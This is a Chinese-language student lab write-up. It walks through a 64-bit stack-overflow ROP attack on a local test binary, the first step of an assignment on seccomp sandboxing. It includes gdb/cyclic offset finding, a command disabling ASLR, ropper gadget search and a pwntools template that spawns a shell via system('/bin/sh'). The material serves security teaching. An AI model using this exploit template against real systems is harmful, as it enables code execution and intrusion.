目录
本次实验内容:
针对第一次作业的代码,利用seccomp方法进行对程序进行约束,使得attacker只能将/tmp/flag的内容,向标准输出(STDOUT )进行输出,且只能输出 32 bytes的内容。
要求:
1. 实现上述约束方法;
2. 通过attack,验证上述约束方法的效果,attack包括:1)调用system函数创建shell(或直接调用execve,或调用其它系统调用);2)向其它目标输出内容(如:STDERR)、输出长度调整(超过32 bytes)。
具体流程
虽然说看上去很简单,但是这次内容其实相当的扯淡,并且会导致一大堆的问题,所以如果卡住的话,可以参考一下。
首先,如果你的系统是64位的,那么你会发现这个程序似乎没办法在开启保护的情况下依旧生成32位的程序(如果有办法实现的话可以告诉我一下),但是如果你的系统是32位的,那么后续内容其实就不怎么重要了,因为你可以直接使用上一次的攻击程序。
先来演示一下对于这个64位的程序 ,该如何生成一个正确的攻击程序。攻击方法其实还是一样的,区别在于64位参数得传到寄存器里面去,关于64位传参,可以参考这个:64位函数参数传递方式_qq_35467337的博客-CSDN博客_x64传参64位函数传参方式https://blog.csdn.net/qq_35467337/article/details/79488386 不过这里面也就一句话,就是:当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9.
寻找溢出点
输入
cyclic 100
在gdb调试中输入,可以看到溢出点:
使用指令,找到溢出点:
指令寻址
由于这里没有要求按照上次的攻击方式,我们可以直接攻击后打开一个shell,这里为了简单起见,所以没有开地址随机化,关闭地址随机化命令如下:
sudo sysctl -w kernel.randomize_va_space=0
所以只需要用到一位寄存器就可以了,首先得让程序溢出,然后让溢出点跳到pop rdi ,ret处,这个时候根据栈更新,会把下一处放的内容弹进rdi中,然后ret回去,继续执行后续内容,举例:exit返回值2:
payload += p64(pop_rdi_addr)
payload+=p64(2)
payload += p64(exit_addr)
还是使用ropper找到pop rdi ,ret的值,将这个值记录下来,例如下文:
ropper --file ./stack2 | grep "pop" | grep "ret"|grep "rdi"
接下来需要找到的值是system函数的值,还是使用gdb去找(记得在编译的时候加入-g指令),结果可以参考该图(注意这张图里面gdb是打了pwn插件的,如果没打的话需要加上自己的库地址,后面会提到):
然后就是找到"/bin/sh"字符串的地址,先使用ldd找到自己使用的是什么库,然后进行找寻,如果找不到的话(或者想要输入其他值),可以使用环境变量来完成:
在这里地址就是0x00198882,记住这个值,接下来就可以编写攻击程序了,如果不想自己写的话可以使用这个模板:
参考模板
from pwn import *
p = process("./stack2")#你的攻击目标
libcaddr=0x_______#你的库地址
setrdi=0x_______ #pop ret地址
str_binbash=libcaddr+0x______#字符/bin/bash地址
proc_system=libcaddr+0x_______#函数system地址
proc_exit=libcaddr+0x_____#函数exit地址
num=72#溢出数量
payload = b'A' * num
payload += p64(setrdi)
payload += p64(str_binbash)
payload += p64(proc_system)
payload += p64(setrdi)
payload += p64(120)#返回值参数
payload += p64(proc_exit)
p.sendline(payload)
p.interactive()
攻击结果如下: